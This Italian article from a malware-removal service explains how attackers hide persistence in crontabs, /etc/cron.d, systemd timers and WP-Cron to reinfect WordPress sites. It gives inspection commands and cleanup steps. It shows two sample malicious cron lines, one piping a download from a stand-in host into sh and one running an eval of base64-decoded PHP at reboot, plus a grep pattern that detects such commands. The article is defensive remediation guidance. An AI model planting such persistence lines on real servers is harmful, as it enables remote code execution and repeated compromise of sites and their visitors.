Backdoor nascoste nei cron job: perché il malware torna dopo la pulizia

Crontab dell’utente, /etc/cron.d ed eventi WP-Cron: dove si nasconde la persistenza che reinfetta un sito WordPress dopo la pulizia, e come ispezionarla.

Una finestra di terminale con una riga di crontab evidenziata in rosso accanto a un orologio circondato da una freccia circolare, simbolo della reinfezione periodica

Il sito è stato ripulito: i file sospetti sono stati cancellati, WordPress e i plugin aggiornati, le password cambiate. Due giorni dopo, alle tre di notte, il file index.php del tema è di nuovo modificato e Google torna a mostrare risultati in giapponese. È lo scenario più frustrante per chi gestisce un sito infetto, e quasi sempre ha la stessa spiegazione: la pulizia ha rimosso gli effetti dell’infezione, ma non il meccanismo che la rimette in piedi.

Se dopo una pulizia accurata i file infetti ricompaiono sempre alla stessa ora, il problema non è nei file: è in ciò che li riscrive.

Quel meccanismo si chiama persistenza, e uno dei posti preferiti in cui nasconderla è il sistema di pianificazione dei processi: il cron del server e il suo equivalente applicativo, WP-Cron. In questo articolo vediamo dove si trovano, come vengono usati da chi attacca e come esaminarli senza peggiorare la situazione.

Perché il malware torna

Un’infezione non è quasi mai un singolo file. Di solito c’è un punto d’ingresso (un plugin vulnerabile, una credenziale rubata, un pannello di amministrazione esposto), una o più backdoor che permettono di rientrare, il carico vero e proprio (spam SEO, redirect, skimmer di carte di credito, pagine di phishing) e infine un meccanismo che controlla periodicamente che tutto sia ancora al suo posto.

Se si rimuovono il carico e le backdoor visibili ma resta il meccanismo periodico, alla prima esecuzione successiva l’infezione viene ricreata. Il ciclo tipico è semplice: un’attività pianificata scarica una copia aggiornata del malware da un server esterno, oppure la ricostruisce da una copia nascosta sul disco o nel database, e la reinstalla nei punti in cui era stata rimossa. Per chi osserva dal pannello di WordPress sembra che il sito si «reinfetti da solo».

Per questo una pulizia fatta solo a livello applicativo, cioè guardando i file di WordPress, spesso non basta: la persistenza vive in un livello che dall’amministrazione del sito non si vede.

Il crontab dell’utente di sistema

Su un server Linux ogni utente può avere una propria tabella di attività pianificate, il crontab. Se chi attacca riesce a eseguire comandi con l’utente che fa girare il sito (spesso www-data, apache, nginx o l’utente dell’account di hosting), può aggiungere una riga al crontab di quell’utente senza bisogno di privilegi di amministratore. È il caso più comune.

Per vedere il crontab di un utente serve accedere al server come quell’utente o come root:

# Crontab dell'utente corrente
crontab -l

# Crontab di un altro utente (richiede root)
crontab -l -u www-data

# I file veri e propri, per esaminarli senza passare da crontab
ls -la /var/spool/cron/crontabs/   # Debian e Ubuntu
ls -la /var/spool/cron/            # RHEL, AlmaLinux, Rocky Linux

Una voce malevola ha spesso questo aspetto: un’esecuzione frequente, un download da un indirizzo esterno e un interprete che esegue quello che arriva, senza scrivere niente di leggibile sul disco.

*/10 * * * * curl -fsSL http://esempio-malevolo.invalid/u.sh | sh >/dev/null 2>&1
@reboot /usr/bin/php -r 'eval(base64_decode("aWYoIWZpbGVfZXhpc3Rz..."));' >/dev/null 2>&1

Non sempre è così evidente. Abbiamo visto voci che richiamano un file con un nome innocuo in una cartella di cache, comandi preceduti da decine di righe vuote o di commenti per spingerli fuori dallo schermo, e la direttiva @reboot, che fa ripartire il malware solo al riavvio del server: un’attività che non si nota finché non si riavvia la macchina, magari settimane dopo la pulizia.

/etc/cron.d, le cartelle periodiche e i timer di systemd

Se l’attacco ha ottenuto privilegi di root, lo spazio a disposizione cresce. Oltre ai crontab degli utenti, cron legge le attività di sistema da diversi posti, ognuno dei quali va controllato:

  • /etc/crontab, la tabella principale del sistema;
  • /etc/cron.d/, dove i pacchetti installano le proprie attività e dove un file in più con un nome plausibile passa facilmente inosservato;
  • /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/ e /etc/cron.monthly/, che contengono script eseguiti a intervalli regolari;
  • i timer di systemd, che svolgono lo stesso compito di cron e si elencano con systemctl list-timers --all;
  • la coda di at, per le esecuzioni singole programmate, visibile con atq.

Su questi file un controllo utile è chiedersi chi li ha installati. Il gestore dei pacchetti sa a quale pacchetto appartiene ogni file legittimo, quindi un file che non appartiene a nessun pacchetto merita attenzione:

# Debian e Ubuntu
dpkg -S /etc/cron.d/*

# RHEL e derivate
rpm -qf /etc/cron.d/*

# Cerca comandi tipici del malware in tutte le tabelle
grep -rnE 'curl|wget|base64|eval|/dev/tcp|nohup|\.php' \
  /etc/crontab /etc/cron.d /etc/cron.hourly /etc/cron.daily \
  /var/spool/cron 2>/dev/null

Un risultato non è di per sé una prova: molti script legittimi usano curl o php. È un elenco di cose da leggere una per una, non da cancellare in blocco.

WP-Cron: la persistenza dentro il database

WordPress ha un proprio sistema di attività pianificate, WP-Cron, che non dipende dal cron del server. Gli eventi sono salvati nell’opzione cron della tabella wp_options, sotto forma di array serializzato: per ogni evento ci sono l’orario, il nome dell’hook da eseguire, la ricorrenza e gli eventuali argomenti. A ogni visita, WordPress controlla se ci sono eventi scaduti e li esegue.

Un evento WP-Cron da solo non contiene codice: indica soltanto quale hook richiamare. Perché faccia qualcosa, deve esistere del codice che si aggancia a quell’hook. Chi attacca sfrutta proprio questa separazione: registra un evento con un nome che sembra appartenere a un plugin reale e mette la funzione che lo gestisce in un posto poco controllato, come un file nella cartella mu-plugins, che WordPress carica sempre, che non si può disattivare dall’amministrazione e che compare solo nella scheda separata «Must-Use» dell’elenco dei plugin, oppure in fondo al functions.php del tema. In alcune varianti la funzione legge a sua volta il codice da eseguire da un’altra opzione del database, così nei file resta solo un frammento generico.

Con WP-CLI si possono esaminare gli eventi senza aprire il database a mano:

# Elenco degli eventi con hook, prossima esecuzione e ricorrenza
wp cron event list --fields=hook,next_run_relative,recurrence

# Il contenuto grezzo dell'opzione, per vedere anche gli argomenti
wp option get cron --format=json

# Chi si aggancia a un hook sospetto
grep -rn "nome_hook_sospetto" wp-content/

Il segnale da cercare è un hook che non corrisponde a nessun plugin installato, o che corrisponde a un plugin che non dovrebbe avere attività pianificate, soprattutto se la ricorrenza è molto frequente.

Come ispezionare senza distruggere le prove

Davanti a una voce sospetta la tentazione è cancellarla subito. Conviene invece procedere con ordine, perché le attività pianificate sono anche una delle migliori fonti di informazioni sull’attacco: l’indirizzo da cui scaricano il malware, il percorso della copia nascosta, l’utente che le ha create e la data in cui sono comparse.

  1. Salvare una copia di tutte le tabelle cron, dei file in /etc/cron* e dell’opzione cron di WordPress prima di toccare qualcosa.
  2. Annotare date e proprietari dei file con stat: la data di modifica può essere falsificata, quella di cambio di stato dell’inode (ctime) molto meno facilmente.
  3. Leggere cosa fa ogni voce senza eseguirla: niente curl … | sh per «vedere cosa scarica». Se serve analizzare lo script remoto, lo si scarica come testo in un ambiente isolato.
  4. Controllare se c’è un processo già in esecuzione avviato da quella voce: disattivare il cron non ferma un processo che è già in memoria.
  5. Solo a quel punto disattivare le voci, rimuovere i file che richiamano e verificare nei giorni successivi che nulla ricompaia.

L’ordine conta: se si pulisce il sito prima di aver fermato la persistenza, la pulizia dura fino alla prossima esecuzione pianificata.

Oltre il cron: processi in memoria e altre persistenze

Il cron non è l’unico modo per far tornare un’infezione. Un processo lanciato dall’attacco può restare in esecuzione anche dopo la cancellazione del file da cui è partito, e ricreare i file a intervalli regolari. Su Linux un processo di questo tipo si riconosce perché in /proc/<pid>/ il collegamento all’eseguibile o alla cartella di lavoro punta a un percorso segnato come (deleted). Alcuni si danno un nome che imita un processo del kernel, come [kworker/0:1], ma i veri thread del kernel non girano con l’utente del sito e non hanno un eseguibile associato.

Altre persistenze comuni sono un file in mu-plugins, una riga aggiunta a wp-config.php o a .user.ini tramite la direttiva auto_prepend_file, un utente amministratore creato apposta e, nei casi più elaborati, trigger SQL nel database che reinseriscono il codice quando un contenuto viene salvato.

Dopo la pulizia: ridurre la superficie

Rimossa la persistenza, alcune misure rendono molto più difficile ricrearla:

  • disattivare WP-Cron basato sulle visite con define( 'DISABLE_WP_CRON', true ); in wp-config.php e richiamarlo da un cron di sistema controllato, così le attività girano a orari noti e sono più facili da sorvegliare;
  • impedire all’utente del sito di modificare il proprio crontab quando non serve, con /etc/cron.allow o /etc/cron.deny;
  • impedire l’esecuzione di PHP nella cartella wp-content/uploads, che è il posto più comune per le copie nascoste;
  • cambiare tutte le credenziali, comprese le chiavi e i salt di WordPress, la password del database e gli accessi SFTP e SSH, perché chi ha scritto nel crontab probabilmente le ha lette;
  • monitorare le modifiche ai file e alle tabelle cron, in modo da accorgersi subito di un ritorno.

Un’infezione che torna non è un fenomeno misterioso: è il segno che qualcosa è rimasto. Per trovarlo bisogna guardare il sito dall’applicazione e dal sistema insieme, che è esattamente il lavoro che facciamo quando un cliente ci contatta dopo l’ennesima reinfezione.

IL PROSSIMO PASSO

Il tuo sito
è infetto?

Ogni ora conta: il malware continua a colpire visitatori e clienti, e Google, l’hosting e le blacklist non aspettano. Scegli il piano, paga online e condividi gli accessi: la bonifica parte subito, a prezzo fisso e con tempi garantiti.

Richiedi la bonifica

Ti porta ai piani: bonifica entro 6, 12 o 24 ore dalla ricezione degli accessi.

MANAGED SERVER S.R.L.info@rimozionemalware.com +39 02 5656 9681

Lunedì – venerdì · 09:30 – 19:30

Preferisci un modulo online?
Contattaci su managedserver.it ↗